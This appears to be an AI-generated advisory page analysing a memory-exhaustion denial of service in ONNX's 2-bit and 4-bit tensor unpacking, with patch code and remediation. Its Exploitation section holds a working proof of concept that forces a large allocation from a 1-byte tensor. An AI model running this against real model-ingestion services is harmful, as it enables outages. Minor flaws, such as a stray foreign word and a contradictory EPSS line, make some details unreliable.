CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-115922

CVE-2026-115922: Denial of Service via Unchecked Expansion of Packed Sub-Byte Tensors in ONNX

Alon Barad
Alon Barad
Software Engineer

Oct 29, 2026·10 min read·5 visits

Executive Summary (TL;DR)

ONNX versions prior to 1.22.0 fail to validate the packed buffer length against declared tensor dimensions when unpacking 2-bit and 4-bit tensor types in Python. An attacker can supply a 1-byte tensor payload with high dimension metadata to force NumPy to allocate gigabytes of zero-filled memory via ndarray.resize(), causing an immediate denial of service.

Open Neural Network Exchange (ONNX) prior to version 1.22.0 contains a memory exhaustion vulnerability (CWE-789) in its Python tensor unpacking helpers and C++ model checker. Specifically, the _unpack_2bit() and _unpack_4bit() functions in onnx.numpy_helper unconditionally resize unpacked NumPy arrays to match attacker-controlled TensorProto.dims metadata without verifying that the underlying raw_data or int32_data buffers contain a corresponding number of packed bits. Furthermore, onnx.checker.check_tensor() previously bypassed length verification for sub-byte data types. Processing an untrusted ONNX model with packed sub-byte tensors (UINT2, INT2, UINT4, INT4, or FLOAT4E2M1) allows an unauthenticated attacker to trigger disproportionate memory allocations from minimal payloads, resulting in an out-of-memory (OOM) crash and denial of service.

Vulnerability Overview

Open Neural Network Exchange (onnx) is an open format and library ecosystem used to represent and exchange machine learning models across frameworks. To optimize model storage and memory bandwidth for quantized neural networks, ONNX supports sub-byte tensor data types, including 4-bit types (UINT4, INT4, FLOAT4E2M1) and 2-bit types (UINT2, INT2). Because standard byte-addressable memory cannot directly index single 2-bit or 4-bit elements, ONNX packs multiple sub-byte values into contiguous byte arrays (raw_data) or 32-bit integer arrays (int32_data) inside the TensorProto protobuf structure.

When Python applications inspect, transform, or evaluate ONNX models using APIs such as onnx.numpy_helper.to_array(), onnx.reference.ReferenceEvaluator, or onnx.reference.op_run, the library unpacks these dense bitstreams into standard 8-bit NumPy arrays (numpy.uint8) before reshaping them to the dimensions declared in TensorProto.dims. This deserialization path represents a primary attack surface for machine learning pipelines, model registries, and automated inference servers that ingest external or untrusted .onnx model artifacts.

In ONNX versions prior to 1.22.0, the unpacking routines _unpack_4bit() and _unpack_2bit() in onnx/numpy_helper.py failed to verify that the physical size of the packed data buffer was sufficient to populate the number of elements specified by TensorProto.dims. Instead, the functions performed bit extraction on the available bytes and subsequently called ndarray.resize(dims, refcheck=False) unconditionally.

Tracked as CVE-2026-115922 (GHSA-q69g-f4f5-v8m7) and classified under CWE-789 (Memory Allocation with Excessive Size Value), this flaw enables an asymmetric memory exhaustion attack. A maliciously crafted TensorProto containing a 1-byte raw_data buffer alongside a dims array specifying ratusan of millions of elements causes the Python runtime to reallocate and zero-fill gigabytes of memory in place. This unchecked allocation bypasses pre-execution validation in onnx.checker.check_model() and terminates the host process via an out-of-memory (OOM) condition.

Root Cause Analysis

The root cause of CVE-2026-115922 lies in the misuse of numpy.ndarray.resize() on unvalidated dimension metadata combined with missing bounds checks in both the Python helper module and the C++ model validator. In ONNX's sub-byte packing scheme, each byte in raw_data holds either two 4-bit elements (low and high nibbles) or four 2-bit elements (two-bit crumbs). Similarly, when stored in int32_data, each 32-bit integer stores 4 packed bytes, corresponding to eight 4-bit elements or sixteen 2-bit elements.

During unpacking in onnx/numpy_helper.py, _unpack_4bit() allocates an initial flat buffer result = np.empty(data.size * 2, dtype=np.uint8) and populates the even and odd indices using bitwise AND and right-shift operations. If the declared element count (np.prod(dims)) is odd, a single trailing padding nibble is stripped via result = result[:-1]. Likewise, _unpack_2bit() allocates np.empty(data.size * 4, dtype=np.uint8) and truncates excess padding elements when result.size > np.prod(dims). However, neither function checked the inverse condition: whether result.size was smaller than np.prod(dims).

Following the padding adjustment, both functions executed result.resize(dims, refcheck=False). Unlike numpy.ndarray.reshape(), which raises a ValueError if the total number of elements in the new shape does not exactly match the existing array size, ndarray.resize() modifies the array memory buffer in-place. When the target shape passed to resize() requires more elements than currently allocated, NumPy calls PyDataMem_RENEW (wrapping realloc) to expand the underlying heap buffer to the requested size and fills all newly allocated elements with zeros.

This vulnerability was compounded by two secondary issues. First, calculating total elements via np.prod(dims, dtype=np.int64) used fixed-width 64-bit integers rather than Python's arbitrary-precision integers, creating potential integer overflow edge cases with crafted multi-dimensional shapes. Second, the C++ validation logic in onnx/checker.cc (check_tensor()) contained a blind spot: for raw_data, it returned early after checking that the type was not TensorProto::STRING, performing zero length verification for sub-byte types. For int32_data, it invoked check_field(int32_data) to verify the field was non-empty, without verifying that int32_data().size() contained enough integers to satisfy the tensor element count (nelem).

Code Analysis

The remediation for CVE-2026-115922 was implemented across two pull requests: PR #8033 (commit dce5876d6cc6cc30157af7d26a752ef44976da8e), which hardened the Python unpacking functions, and PR #8038 (commit 05c1bc3bceceb8d3cf11e9e7fc7f19f971c44988), which enforced strict buffer size invariants in the C++ model checker. Both commits were subsequently cherry-picked into the rel-1.22.0 release branch via PR #8066 (commit 8de2cf6aa47928e6515ac6d9e1a8b4758886a7df).

In onnx/numpy_helper.py, the patch replaces np.prod(dims, dtype=np.int64) with Python's built-in math.prod(dims) to compute expected_elements using arbitrary-precision integer arithmetic. Before calling result.resize(dims, refcheck=False), both _unpack_4bit() and _unpack_2bit() now explicitly verify whether expected_elements > result.size and raise a ValueError if the unpacked buffer cannot satisfy the declared shape.

# File: onnx/numpy_helper.py (Patched in commit dce5876d6cc6cc30157af7d26a752ef44976da8e)
def _unpack_4bit(
    data: np.ndarray, dims: Sequence[int | str]
) -> np.ndarray:
    result = np.empty(data.size * 2, dtype=np.uint8)
    array_low = data & np.uint8(0x0F)
    array_high = data & np.uint8(0xF0)
    array_high >>= np.uint8(4)
    result[0::2] = array_low
    result[1::2] = array_high
    # Use arbitrary-precision math.prod instead of fixed-width np.prod
    expected_elements = math.prod(dims)
    if result.size == expected_elements + 1:
        # handle single-element padding due to odd number of elements
        result = result[:-1]
    # FIX: Reject tensors where declared dimensions exceed unpacked element count
    if expected_elements > result.size:
        raise ValueError(
            f"Packed 4-bit data ({data.size} bytes, {result.size} elements unpacked) "
            f"is too small for the declared shape {list(dims)} "
            f"({expected_elements} elements required)."
        )
    result.resize(dims, refcheck=False)
    return result

To provide defense-in-depth and ensure onnx.checker.check_model() catches malformed sub-byte tensors prior to execution, onnx/checker.cc was updated in commit 05c1bc3bceceb8d3cf11e9e7fc7f19f971c44988. Inside check_tensor(), when tensor.has_raw_data() is true, a switch statement now computes the minimum required byte length (expected_bytes) using ceiling division: (nelem + 1) / 2 for 4-bit types and (nelem + 3) / 4 for 2-bit types. When raw_data is absent and int32_data is used instead, check_tensor() validates that tensor.int32_data().size() meets the ceiling division thresholds of (nelem + 7) / 8 for 4-bit types and (nelem + 15) / 16 for 2-bit types.

// File: onnx/checker.cc (Patched in commit 05c1bc3bceceb8d3cf11e9e7fc7f19f971c44988)
if (tensor.has_raw_data()) {
  if (tensor.data_type() == TensorProto::STRING) {
    fail_check("STRING data (tensor name: ", tensor.name(), ") should not be stored in raw_data field");
  }
  // FIX: Validate that raw_data is large enough for the declared packed sub-byte type and shape.
  int64_t expected_bytes = 0;
  switch (tensor.data_type()) {
    case TensorProto::UINT4:
    case TensorProto::INT4:
    case TensorProto::FLOAT4E2M1:
      expected_bytes = (nelem + 1) / 2; // 2 elements per byte, ceiling division
      break;
    case TensorProto::UINT2:
    case TensorProto::INT2:
      expected_bytes = (nelem + 3) / 4; // 4 elements per byte, ceiling division
      break;
    default:
      break;
  }
  if (expected_bytes > 0 && static_cast<int64_t>(tensor.raw_data().size()) < expected_bytes) {
    fail_check(
        "TensorProto (tensor name: ", tensor.name(), ") raw_data size (",
        tensor.raw_data().size(), " bytes) is too small for the declared shape and packed type (",
        expected_bytes, " bytes required).");
  }
  return;
}

The combination of these two patches completely resolves the vulnerability across both the C++ validation layer and the Python runtime materialization layer. Note that PR #8038 also moved TensorProto::FLOAT4E2M1 into the 4-bit int32_data validation case block alongside UINT4 and INT4, ensuring consistent enforcement across all three 4-bit data types.

Exploitation

Exploiting CVE-2026-115922 requires an attacker to supply a crafted .onnx model file or serialized TensorProto message to an application that invokes onnx.numpy_helper.to_array(), onnx.reference.ReferenceEvaluator, or onnx.reference.op_run. No authentication, elevated privileges, or specific runtime configurations are required beyond the target service processing the untrusted tensor.

Because onnx.reference.ReferenceEvaluator automatically materializes all graph initializers in its constructor (__init__), simply instantiating the evaluator on a malicious model triggers the flaw before any inference call (run()) is made. Furthermore, because onnx.checker.check_model() prior to 1.22.0 did not verify sub-byte buffer lengths, pipelines that validate incoming models with check_model() before loading them into ReferenceEvaluator remain vulnerable.

The following proof-of-concept demonstrates how a 1-byte raw_data payload in an INT4 tensor can force an immediate 700 MB heap allocation when passed to onnx.numpy_helper.to_array():

import onnx
from onnx import numpy_helper, TensorProto
 
def trigger_memory_exhaustion():
    # Construct a TensorProto with data_type INT4 (4-bit signed integer)
    tensor = TensorProto()
    tensor.name = "malicious_int4_tensor"
    tensor.data_type = TensorProto.INT4
    
    # Declare 700,000,000 elements (~700 MB when unpacked to uint8)
    tensor.dims.extend([700_000_000])
    
    # Provide only 1 byte of packed data (encodes at most 2 4-bit elements)
    tensor.raw_data = b"\x00"
 
    # In ONNX < 1.22.0, this passes C++ validation without error
    onnx.checker.check_tensor(tensor)
 
    # Trigger unchecked ndarray.resize() in _unpack_4bit()
    arr = numpy_helper.to_array(tensor)
    print(f"Allocated shape: {arr.shape}, Memory: {arr.nbytes / (1024**2):.2f} MB")
 
if __name__ == "__main__":
    trigger_memory_exhaustion()

When executed against ONNX < 1.22.0, _unpack_4bit() creates a 2-byte uint8 array from b"\x00" and immediately resizes it to 700,000,000 bytes. By increasing dims to [100_000_000_000] (100 GB) or embedding multiple such initializers inside a tiny protobuf file (under 1 KB on disk), an attacker can exhaust available system RAM or trigger the Linux kernel OOM killer, terminating the Python worker process. On ONNX >= 1.22.0, check_tensor() raises a ValidationError and to_array() raises a ValueError immediately without allocating the expanded buffer.

Impact Assessment

CVE-2026-115922 is rated Medium severity with a CVSS v3.1 base score of 6.2 (CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H). The Local (AV:L) vector reflects that the vulnerability is triggered via file or payload ingestion rather than direct network protocol framing, while User Interaction is None (UI:N) because automated MLOps validation pipelines, model conversion microservices, and inference servers typically process uploaded model artifacts without manual intervention.

The security impact is strictly confined to Availability (A:H). Because numpy.ndarray.resize() zeroes out all newly allocated memory cells via memset after reallocating the heap block, the vulnerability does not expose uninitialized heap memory (Confidentiality C:N) and does not permit out-of-bounds writes or arbitrary code execution (Integrity I:N).

However, the amplification factor of this denial-of-service condition is high. A serialized TensorProto requires less than 30 bytes of protobuf overhead to specify a 64-bit dimension value alongside a 1-byte payload, yielding an amplification ratio exceeding $10^9 : 1$ between disk size and heap allocation request. In multi-tenant MLOps platforms or shared Kubernetes clusters where worker pods lack strict memory limits, a single malformed model upload can starve co-located processes of memory.

According to threat intelligence metrics, the Exploit Prediction Scoring System (EPSS) score for CVE-2026-115922 is 0.131% (2.68th percentile), and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No weaponized exploits outside of the regression test cases committed to the official ONNX repository have been observed in the wild.

Remediation

To remediate CVE-2026-115922, organizations and developers should upgrade the onnx Python package and C++ library to version 1.22.0 or later. Version 1.22.0 incorporates both the Python bounds validation in onnx.numpy_helper and the C++ tensor size validation in onnx.checker.

pip install --upgrade "onnx>=1.22.0"

> [!NOTE] > Relying solely on onnx.checker.check_model() or onnx.checker.check_tensor() in versions prior to 1.22.0 does not mitigate this vulnerability, as the C++ checker previously skipped size verification for packed sub-byte raw_data and int32_data fields.

For environments that cannot immediately upgrade to onnx >= 1.22.0, applications ingesting untrusted ONNX models should implement a pre-processing validation function in Python before calling numpy_helper.to_array() or ReferenceEvaluator. Specifically, iterate over model.graph.initializer (and any Constant node tensor attributes) and verify that for UINT4, INT4, and FLOAT4E2M1 tensors, len(tensor.raw_data) >= (math.prod(tensor.dims) + 1) // 2 (or len(tensor.int32_data) >= (math.prod(tensor.dims) + 7) // 8), and for UINT2 and INT2 tensors, len(tensor.raw_data) >= (math.prod(tensor.dims) + 3) // 4 (or len(tensor.int32_data) >= (math.prod(tensor.dims) + 15) // 16).

Additionally, model ingestion and evaluation workloads should be isolated within sandboxed worker processes or containers configured with explicit memory limits (such as Linux cgroups / Docker --memory flags or POSIX resource.setrlimit(resource.RLIMIT_AS, ...) in Python) so that unexpected allocation spikes raise a catchable MemoryError rather than destabilizing the host operating system.

Official Patches

ONNXOfficial GitHub Security Advisory GHSA-q69g-f4f5-v8m7
ONNXONNX v1.22.0 Release Notes
ONNXPull Request #8033: Validate unpacked sub-byte tensor dimensions in Python numpy_helper
ONNXPull Request #8038: Enforce packed sub-byte tensor size checks in C++ checker

Fix Analysis (3)

Technical Appendix

CVSS Score
6.2/ 10
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Probability
0.13%
Top 97% most exploited

Affected Systems

Open Neural Network Exchange (onnx) Python package (< 1.22.0)Open Neural Network Exchange (onnx) C++ core library (< 1.22.0)

Affected Versions Detail

Product
Affected Versions
Fixed Version
onnx
Open Neural Network Exchange
< 1.22.01.22.0
AttributeDetail
Vulnerability IDCVE-2026-115922 / GHSA-q69g-f4f5-v8m7
Weakness ClassCWE-789: Memory Allocation with Excessive Size Value
CVSS v3.1 Score6.2 Medium (CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Affected Componentonnx.numpy_helper (_unpack_4bit, _unpack_2bit) & onnx.checker
Affected VersionsONNX < 1.22.0
Patched VersionONNX 1.22.0
ImpactDenial of Service via Uncontrolled Memory Allocation (OOM)
EPSS / KEV Status0.131% (2.68th Percentile) / Not in CISA KEV

MITRE ATT&CK Mapping

T1499Endpoint Denial of Service
Impact
T1499.001OS Exhaustion Flood
Impact
CWE-789
Memory Allocation with Excessive Size Value

The software allocates memory based on an untrusted, attacker-controlled size value without performing sufficient validation or bounds checks, allowing an attacker to cause excessive memory consumption or process termination.

Vulnerability Timeline

Pull Requests #8033 and #8038 merged into ONNX main branch to validate sub-byte tensor sizes in Python and C++.
2026-06-04
Fixes cherry-picked into the rel-1.22.0 release branch via Pull Request #8066.
2026-06-09
GitHub Security Advisory GHSA-q69g-f4f5-v8m7 and CVE-2026-115922 published.
2026-10-26

References & Sources

  • [1]GitHub Security Advisory GHSA-q69g-f4f5-v8m7
  • [2]NVD - CVE-2026-115922
  • [3]CVE.org Record - CVE-2026-115922
  • [4]ONNX PR #8033: Validate unpacked sub-byte tensor dimensions in Python
  • [5]ONNX PR #8038: Validate sub-byte tensor sizes in C++ checker
  • [6]ONNX PR #8066: Cherry-pick fixes into rel-1.22.0
  • [7]Commit dce5876d6cc6cc30157af7d26a752ef44976da8e (Python Fix)
  • [8]Commit 05c1bc3bceceb8d3cf11e9e7fc7f19f971c44988 (C++ Checker Fix)
  • [9]Commit 8de2cf6aa47928e6515ac6d9e1a8b4758886a7df (Release 1.22.0 Cherry-Pick)
  • [10]ONNX v1.22.0 Release
  • [11]CVEProject CVE-2026-115922 JSON Record

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•28 minutes ago•CVE-2026-91403
9.1

CVE-2026-91403: Cryptographic Trust Validation Bypass in Oracle Java SE JSSE via Compromised eMudhra Intermediate CAs

CVE-2026-91403 is a critical cryptographic trust validation flaw (CWE-327) in the Java Secure Socket Extension (JSSE) component of Oracle Java SE, Oracle GraalVM, and OpenJDK builds. Triggered by the compromise of private signing keys for eight intermediate Certificate Authorities operated by eMudhra (emSign), unpatched Java runtime environments implicitly trust fraudulent TLS and code-signing certificates issued by these compromised intermediates. Because Java disables online certificate revocation checking (OCSP/CRL) by default, an unauthenticated network attacker in an Adversary-in-the-Middle (AiTM) position can intercept, decrypt, and modify encrypted TLS communications or bypass code signature verification without triggering security exceptions.

Alon Barad
Alon Barad
2 views•12 min read
•about 2 hours ago•CVE-2026-115920
6.2

CVE-2026-115920: Out-of-Bounds Read in ONNX ConvTranspose Shape Inference

An out-of-bounds read vulnerability (CWE-125) exists in the Open Neural Network Exchange (ONNX) library across versions 1.2.1 prior to 1.22.0. The flaw occurs within the shape inference routines for the ConvTranspose operator when processing a model with a weight tensor rank less than three and an omitted kernel_shape attribute. Unchecked indexing into an empty vector triggers a memory segmentation fault, resulting in a Denial of Service (DoS) against applications inspecting or loading untrusted ONNX models.

Amit Schendel
Amit Schendel
3 views•10 min read
•about 3 hours ago•CVE-2026-115910
6.8

CVE-2026-115910: OpenID Connect Session-Binding Bypass and Account Takeover in Python Social Auth

A session-binding vulnerability in Python Social Auth (social-core) versions prior to 6.2.0 allows an attacker to perform authorization code injection against the OpenID Connect authentication backend. By storing generated OIDC nonces in a global database table without binding them to the initiating browser session, the library accepts any valid, unexpired nonce returned in an ID token regardless of which session originated the authentication transaction. When combined with the default disablement of Proof Key for Code Exchange (PKCE), an attacker who intercepts an unused authorization code can inject it into their own authentication flow to achieve full account takeover.

Amit Schendel
Amit Schendel
6 views•13 min read
•about 3 hours ago•CVE-2026-111497
9.8

CVE-2026-111497: Out-of-Bounds Heap Write and Remote Code Execution in Google Brotli Decoder (Node2Shell)

CVE-2026-111497, tracked in threat intelligence under the aliases Node2Shell, Broccoli2Shell, and HTTP2Shell, is a critical out-of-bounds heap write and denial-of-service vulnerability in the reference Google Brotli decompression library (c/dec/decode.c). The flaw originates from an unchecked return value and error-code conflation in DecodeBlockTypeAndLength() when processing malformed streams with single-block-type declarations (max_block_type <= 1). On the fast decoding path, the ignored error return causes the 32-bit unsigned block_length counter to underflow from 0 to UINT32_MAX (0xFFFFFFFF), corrupting internal decoder tables and enabling arbitrary heap memory overwrites via memmove16(). On the streaming path, the error return is misinterpreted as an incomplete bit-stream, trapping the worker process in an infinite 100% CPU loop. Because Google Brotli is embedded across major runtimes and infrastructure components—including Node.js, Envoy Proxy, Microsoft .NET, Istio, and Python—the vulnerability exposes a broad attack surface via standard HTTP Content-Encoding: br request and response bodies.

Amit Schendel
Amit Schendel
8 views•12 min read
•about 4 hours ago•CVE-2026-116575
6.3

CVE-2026-116575: Cross-Tenant Conversation Disclosure via Delimiter Injection in Mem0

CVE-2026-116575 (GHSA-5324-3w58-qpp2) is an unescaped delimiter injection and canonicalization flaw in the Mem0 persistent memory platform for AI agents and applications. Prior to Python SDK version 2.0.18 and TypeScript SDK version 3.1.6, the session scope key construction functions join caller-controlled user_id, agent_id, and run_id identifiers using raw '=' and '&' delimiters without sanitization. An attacker who controls one of these identifiers in a multi-tenant deployment can inject delimiter sequences to force a string collision with a target tenant's session scope key, resulting in unauthorized disclosure, poisoning, or eviction of the target tenant's recent conversation buffer.

Alon Barad
Alon Barad
6 views•9 min read
•about 5 hours ago•CVE-2026-116580
7.3

CVE-2026-116580: Unvalidated Method Invocation via Identifier Reuse in Seroval Deserializer

Seroval versions prior to 1.6.8 contain an insecure deserialization vulnerability (CWE-502) in the `fromJSON` parser. When reconstructing `AsyncIteratorFactoryInstance` or `IteratorFactoryInstance` nodes, the deserializer verifies the source node type using its identifier in the AST lookup table rather than verifying the runtime identity of the deserialized object. Because unmarked node identifiers omitted from the `m` reference array can be reused in vanilla deserialization mode, an attacker can substitute an arbitrary plain object or plugin-produced value as the stream source. This causes the runtime to invoke `.on(listener)` on an attacker-controlled target.

Amit Schendel
Amit Schendel
5 views•12 min read